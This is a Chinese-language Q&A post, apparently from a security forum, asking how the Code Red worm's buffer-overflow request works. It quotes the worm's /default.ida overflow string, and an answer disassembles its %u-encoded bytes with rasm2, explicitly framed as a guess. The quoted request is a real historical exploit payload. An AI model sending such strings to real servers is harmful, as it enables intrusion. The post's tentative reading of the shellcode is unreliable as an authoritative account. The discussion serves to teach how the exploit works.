Code Red 蠕虫是如何工作的?

信息安全 缓冲区溢出
2021-08-19 21:50:24

所以我一直在阅读一些关于 Code Red 蠕虫的文章,我明白了要点,但溢出字符串对我来说没有意义。

这个站点,它说蠕虫使用的溢出字符串是

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

所有的 'N' 可能只是为了缓冲区溢出,但字母和 % 符号是什么意思?如果有什么不同,我不知道任何 C 语言或 ASP.NET

1个回答

我只是在猜测,但是是的,N 是用于初始缓冲区溢出的。你会注意到%u9090%u6858%ucbd3%u7801一遍又一遍地重复。这些是 8 字节的十六进制 unicode 值。

%u9090很可能是NOP(无操作)机器指令。在 Intel x86 的十六进制中,这条指令是一个字节,0x90. 所以它重复这 8 个字节 3 次。我猜的目的是用自己的地址覆盖返回地址。

那么你有%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00. 在我看来,这是获得执行所需的 shell 代码。如果您删除 unicode 指示符%u,您会得到一系列指令。使用radare2,您可以运行以下命令90909090819000c300038b00531b53ff00780000

rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
push ebx
inc dword [eax]
js 0x13
.byte 0x00 1

现在我对前 3 个重复值可能是错误的。也许它们是 shellcode 的一部分。因此,让我们对完整的字节字符串运行相同的命令:

$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1

了解有关缓冲区溢出如何工作的更多信息;查看为什么缓冲区溢出会按照它们所在的方向执行?,以及忽略尾随 NULL 字节的安全隐患。